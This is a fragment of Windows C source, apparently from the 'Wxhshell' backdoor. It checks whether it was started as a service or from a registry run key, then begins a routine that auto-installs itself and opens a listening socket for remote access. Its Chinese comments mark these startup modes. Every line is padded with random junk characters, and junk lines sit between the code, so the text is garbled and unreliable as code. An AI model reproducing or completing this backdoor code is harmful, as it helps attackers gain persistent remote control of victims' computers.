ULONG InheritedFromUniqueProcessId; TP{Gt.e
} PROCESS_BASIC_INFORMATION; T(V8;!
s^cc@C
PROCNTQSIP NtQueryInformationProcess; {i>Jfl]G}
$/paEn"
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _88QgThb
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8R}K?+]
w;+ br
HANDLE hProcess; AW/wI6[T
PROCESS_BASIC_INFORMATION pbi; /$:U$JVb?l
z]$>+MH_
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?'wsIH]m
if(NULL == hInst ) return 0; [4XC#OgA
@KA1"Wb_
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sa9fK Z'q
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~{M@?8wi
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %b=p< h'(
wbi3lH:;
if (!NtQueryInformationProcess) return 0; U^rm:*f
Sl>>SP
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DjwQ`MA
if(!hProcess) return 0; ^=0$
] H&c'
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C(o.Cy6
CZ3].DA|z
CloseHandle(hProcess); .45^=2NGmQ
+j[`,5oS
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ErDL^M-`
if(hProcess==NULL) return 0; LeHiT>aX!
@]=f?+y[ 2
HMODULE hMod;
HE;V zR
char procName[255]; ZXt?[Ll
unsigned long cbNeeded; C),7- ?
a4&:@`=
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nm @']
%!y89x=E
CloseHandle(hProcess); VE]6wwV2
eg3L:rk_
if(strstr(procName,"services")) return 1; // 以服务启动 2+'|kt2
,J(lJ,c
return 0; // 注册表启动 2*u.3,aW
} }1U*A#aN7K
`f)(Y1%.
// 主模块 ,w2WS\`%
int StartWxhshell(LPSTR lpCmdLine) 6peyh_
{ 2\0Oji\6
SOCKET wsl; (A{NF(
BOOL val=TRUE; r5 yO5W
int port=0; =& -[TPW
struct sockaddr_in door; OOB^gf}$'
zZ=$O-&%
if(wscfg.ws_autoins) Install(); T'1gy}
`FJ|W6%
port=atoi(lpCmdLine); {Q~7M$
Hm9<